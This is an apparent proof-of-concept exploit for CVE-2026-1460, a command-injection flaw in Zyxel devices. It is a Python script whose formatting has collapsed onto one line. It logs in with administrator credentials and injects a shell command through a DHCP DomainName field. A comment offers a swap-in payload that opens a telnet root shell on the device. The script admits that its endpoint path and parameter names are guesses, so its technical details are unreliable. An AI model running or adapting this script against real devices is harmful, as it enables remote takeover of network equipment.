CVE-2026-1460 Zyxel设备命令注入漏洞

import requests # CVE-2026-1460 PoC: Zyxel Command Injection via DHCP DomainName # Requires administrator credentials. TARGET_IP = "192.168.1.1" USERNAME = "admin" PASSWORD = "password" def exploit(): session = requests.Session() # 1. Login to get session cookie login_url = f"http://{TARGET_IP}/login" login_data = { "username": USERNAME, "password": PASSWORD } print(f"[*] Attempting login to {TARGET_IP}...") try: r = session.post(login_url, data=login_data, timeout=10) if "login" in r.text.lower() and r.status_code != 200: print("[-] Login failed. Check credentials.") return except Exception as e: print(f"[-] Connection error: {e}") return print("[+] Login successful.") # 2. Send payload to DHCP configuration endpoint # Note: The exact endpoint path might vary based on firmware version. # Common Zyxel API structure used here. dhcp_url = f"http://{TARGET_IP}/api/cfg/dhcp" # Payload: Touch a file to prove command execution (PoC) # Can be replaced with: ; telnetd -p 1337 -l /bin/sh for a reverse shell payload = "lan; touch /tmp/pwned; #" headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # JSON payload structure (adjust keys based on actual API behavior) exploit_data = { "DomainName": payload, "action": "apply" } print(f"[*] Sending payload to {dhcp_url}...") try: r = session.post(dhcp_url, json=exploit_data, headers=headers, timeout=10) print(f"[+] Response status: {r.status_code}") print("[*] Check if /tmp/pwned exists on the device.") except Exception as e: print(f"[-] Exploit request failed: {e}") if __name__ == "__main__": exploit()